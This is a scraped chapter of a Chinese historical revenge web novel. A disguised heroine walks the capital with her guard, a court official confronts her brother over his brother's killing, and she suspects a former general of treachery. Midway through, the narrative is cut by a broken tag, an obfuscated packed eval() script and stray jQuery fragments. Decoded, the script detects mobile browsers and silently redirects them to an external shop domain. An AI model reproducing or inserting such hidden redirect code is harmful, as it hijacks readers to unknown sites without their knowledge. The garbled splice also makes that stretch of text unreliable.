11. 谈话
    第十一章谈话

    翌日清晨,旭日初升。

    屋外传来清脆的鸟鸣声,晨光透过窗缝落在帷幔上,闪着细碎的光点。

    “绪……绪风,你大早上拿着刀站在廊下做什么?”翠微抬着热水,转过拐角就被绪风吓了一跳,皱着眉头质问。

    绪风一言不发往旁边退了退,让了道。

    “脾气真是古怪……”翠微嘴里小声嘟囔着,绕过他进了屋子。

    她掀起帷幔,将它固定住,这才轻声唤道:“二娘子,该起了。”

    赵瑾棠很快“嗯”了声,还未下床便又问起了方才的事,“绪风在外头?”

    “嗯,抱着他的大刀,就站在门口,奴婢跟他说话都不理。”

    “孩子心性,别跟他一般见识。”赵瑾棠笑笑,替绪风说了一句。

    翠微听见这话,也忍不住笑了起来,调侃道:“二娘子说这话,倒是显得您已经多大了似的。”

    赵瑾棠笑而不语,眼底却闪过痛楚。

    如今年纪的确是没有多大,可若她没死,今年该是二十有四了。

    收拾妥帖后,赵瑾棠出了屋子,门外空无一人,她稍稍抬眼,便瞅见了东侧厢房顶上一闪而过的黑影,露出温和的笑意来。

    翠微不知道她在瞧什么,有些好奇:“二娘子在瞧什么,可是院子有什么不妥?”

    “随便瞧瞧,”赵瑾棠收回视线,心中好笑,这么久了也不知道换个地方躲,“走罢。”

    元则礼早早地就去大理寺上值去了,府里人又不多,显得更加清冷安静,赵瑾棠看了眼空荡荡的大院,心下有了主意。

    “翠微,你去找方伯来,我有事吩咐。”

    ……

    不多时,方伯便到了。

    听见赵瑾棠的吩咐后,他连连应声,“之前老奴就跟郎君提过再买些伺候的人,可郎君二话不说就拒了,说用不上,如今既然是娘子的意思,郎君应当就不会拒绝了。”

    赵瑾棠颔首,又不放心地叮嘱道:“去人市,牙行的身世背景说不得会有些麻烦。”

    “老奴记下了,二娘子尽管放心。”

    初入上京,布行要处理的事情也多,赵瑾棠叫人套了马车,打算先去铺子上看看情况,也可先打听一下上京如今的情况。

    行至府门,她又改了主意,打算走着去铺子。

    赵瑾棠原本想着让绪风共同前往,可转念一想,放弃了。

    既然已经回京,便要做好万全之策,绪风对她的信任不多。

    日子还长,她也相信绪风会很快想通的,不能操之过急。

    没想到,消失了一个早上的绪风却忽然出现,安静跟在了她身侧。

    赵瑾棠有些惊讶,却也没有多说,默许了他的行为。

    走过长街,热闹繁华的景象出现在眼前,耳边是各种鲜活自在的动静,翠微对一切都很是新奇,赵瑾棠便递了银子给她,让她不必约束,好好逛逛。

    赵瑾棠隔着帷帽,静静地看着眼前的一切,脚底却如千斤重,每一步都是艰难。

    除了侥幸死里逃生的人,谁会想象得到,这片繁华景象的背后,是无尽的仇恨和足已染红整个上京的鲜血。

    耳边传来欢快的笑声,扎着双平髻的小丫头撞入了赵瑾棠的怀里,被她伸手扶稳。

    小丫头仰头看她,“咦”了一声,将手中的糖葫芦递了过去,“姐姐,你怎么哭了?是不是被我撞疼了?我把糖葫芦送给你,别哭好吗?”

    赵瑾棠这才恍然,原来自己流泪了。

    她笑笑,将糖葫芦推回去:“姐姐是被风沙迷了眼睛,你去玩儿罢。”

    小丫头不放心地看了她好几眼,确定赵瑾棠没事后,这才追上了其他伙伴。

    赵瑾棠站在原地,看着小孩子们快乐的背影消失在街角。

    耳边,突然传来绪风的声音,被刻意压低后的嗓音更显得嘶哑刺耳,“看到百姓如此安居富足,你还觉得赵桓该死吗?”

    “既是德不配位,为何不该死?”赵瑾棠收回视线,眼底一片冰凉。

    她回头,微微撩开帷帽,对上了绪风的视线,“我会说到做到的。”

    ——

    元则礼放好卷宗,刚出了西阁,就遇上了才从宫里出来的李子衡,他抬手作揖,恭敬道:“李寺卿。”

    “敬可兄还是如此客气,”李子衡只略略虚抬了下,又将双手负在身后,“你我既是同乡,又何必这般拘束。”

    元则礼未应声,跟在李子衡身后往里走,又听他说,“听说令妹昨日入京了?”

    “是,家中打算将绸缎庄的生意转至上京。”

    李子衡“嗯”了一声,像是想起了什么似的,叹道:“若不是令妹年岁小,咱们两家如今就该成姻亲了。”

    听见这话,元则礼还以为李子衡又要替李家三郎提议亲的事情,没想到,他却被接下来的话惊到了。

    李子衡进了内堂,示意元则礼坐下,这才继续说道:“家中本想着再替三郎争取一番,没曾想,月前我收到家书,我那不成器弟弟已经亡故了。”

    元则礼将手中的茶杯放下,眼底的惊讶不似作假,“亡故,可是得了什么急症?”

    “敬可啊敬可,你是在跟本官装糊涂吗?”李子衡的声音骤然冷了下去。

    元则礼不明所以,反应却极快,他起身撩袍跪下,“下官不知何意,请大人明示。”

    李子衡的声音从内堂传出来,带着十足的怒意,外头正忙的众人听见动静,面面相觑,不知道出了什么事。

    毕竟,谁不知道元则礼是李子衡亲自举荐才入了大理寺,成了新任主薄。

    况且,李子衡平日里待人温和,多数时间都是笑意盈盈,除了审讯,哪里会有如此大发雷霆的时候。

    “你可知三郎死前曾见过你妹妹?你又可知是何人揭发了他二人见面之事!”

    元则礼跪在地上,眉头紧锁,不明白李子衡说这话的意思,家中也从未写信说过这件事。

    “家中信件的确未跟下官谈及此事,还请大人告知事情来龙去脉,但下官敢用性命担保,舍妹绝对不会做出有违律例之事。”

    李子衡并未说话,而是冷冷地看着跪在地上的元则礼,月前他收到家中信件,得知弟弟被人杀害时,恨不得将凶手立刻缉拿归案,好将其千刀万剐为弟弟报仇。

    收到信件当日,他原本就想好好敲打元则礼,可最终还是按下了心中的怒意。

    毕竟这件事还牵扯到了镇北王府。

    只是没想到,他才安抚好妹妹的情绪,舅舅又写了信来,家中庶弟惨遭人谋害,尸首更是被悬挂在父亲的房间里。

    可凶手到底是何人依旧是毫无头绪。

    舅舅在信中虽说凶案与元家二娘子无关,又猜测是自己在朝中得罪了人,家中这才遭了报复。

    李子衡自入朝之日起,便是为当今天子效力,树敌众多,自然也明白这个道理。

    可他仍旧放不下心中的怀疑。

    自家弟弟什么德行,李子衡比谁都清楚。

    他很难不怀疑是元家二娘子对李子渊的行为不堪其扰后,寻人害了他。

    只是,唯一让他想不通的事,这件事居然与沈宴也有些关系。

    李子衡有时候在夜里辗转反侧,甚至是怀疑沈宴与元家二娘子合谋杀了自家弟弟。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008009|137252||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    可找不到证据,一切都是无稽之谈。

    况且,沈宴堂堂一个王府世子爷,又怎会与商贾之女扯上关系。

    不过既然找不到凶手,试一试又何妨?

    良久的沉默后,李子衡忽然开口,只道:“舍妹与三郎见面的事,正是沈宴撞见的。”

    元则礼一愣,下意识抬头:“大人……”

    “罢了,斯人已逝,说再多又有何用,只是,”李子衡摆摆手,仿佛刚刚大发脾气的人不是他,又恢复了往日里的平和模样,“我希望你明白,自己是怎么坐上大理寺主薄的位置的,出去罢。”

    一番话说的元则礼云里雾里,他稍加思索后,想明白了李子衡的意思,很快起身告退。

    ——

    酉时正,日薄西山。

    赵瑾棠刚回到府里,方伯就匆匆告知:“郎君在书房等着二娘子呢,看那样子,好像是出了什么事。”

    她应下,将手中的东西递给翠微后,独身一人往书房走去。

    赵瑾棠心里已经猜到了是什么事情。

    “阿兄?”赵瑾棠站在书房门口,抬手轻敲。

    “进来。”

    赵瑾棠推门而入,看见坐在桌案后的元则礼后,她见了礼,这才问道:“不知阿兄寻我何事?”

    看着赵瑾棠乖巧恬静的模样,元则礼很是确信,她不会杀人。

    但有些事情也要问清楚,否则日后要是出了事,该如何补救?

    想到这儿,元则礼便直接开门见山道:“李家三郎死了?”

    赵瑾棠眨眨眼睛,心道果然是为了这件事,她点点头,“是,不仅是李家三郎,还有李家五郎,都死了。”

    元则礼身体一顿,怪不得今日李子衡会那般生气,他看着赵瑾棠,问道:“陈正康可有为难与你?”

    “不曾为难,”赵瑾棠摇摇头,如实相告,“不过就是问了些话而已,阿兄不必担心。”

    说着,赵瑾棠便跪了下去,继续道:“是我不让爹娘告诉阿兄的,此事不过是意外,又何至于让阿兄在上京为我担惊受怕。”

    “胡闹!”元则礼声音拔高,可看着跪在地上的赵瑾棠又有些不忍,他起身走过去,放缓语调,将人扶起来,“我是你阿兄,自然该护着你,这事既然与你无关,又有何惧?只是你记住,只此一次,下不为例。”

    元则礼想起李子衡最后那句话,又多问了句:“你可认得沈宴?”

    “沈宴?阿兄是说镇北王府的小王爷吗?”赵瑾棠演得真真的,满脸疑惑,“听说过,未曾见过。”

    元则礼不再多问,他转身走到桌案前,将桌上的帖子递给赵瑾棠:“不说李家的事了,这是徐将军府送过来的帖子,他家中有个与你年纪一般大小的妹妹,前段时间刚从边关归京,徐将军与瑜妃娘娘怕她不适应,特意办了个赏花宴,若是无事,你也可去瞧瞧。”

    “徐将军?哪位徐将军?”赵瑾棠心中有个呼之欲出的人名。

    下一秒,那名字便与元则礼说的人名一同响起:“徐松石。”

    尽管早有准备,但听到这个熟悉的名字时,赵瑾棠还是微微愣住了。

    当年她奉旨下平州诛杀逆党时,徐松石等人被她留下护卫京都,想来也正是这个原因,所以才有幸逃过赵桓的毒手。

    只是,绪风既然活着,为何不去寻他?

    只一瞬,赵瑾棠的脑海中便有了答案。

    徐松石是自己最得力的副将之一,以赵桓的脾性,断不可能会留下如此大的威胁在身边,更别说会将徐二娘子接入宫中。

    可如今这局面,也只有一个合理答案。

    徐松石,是赵桓的人。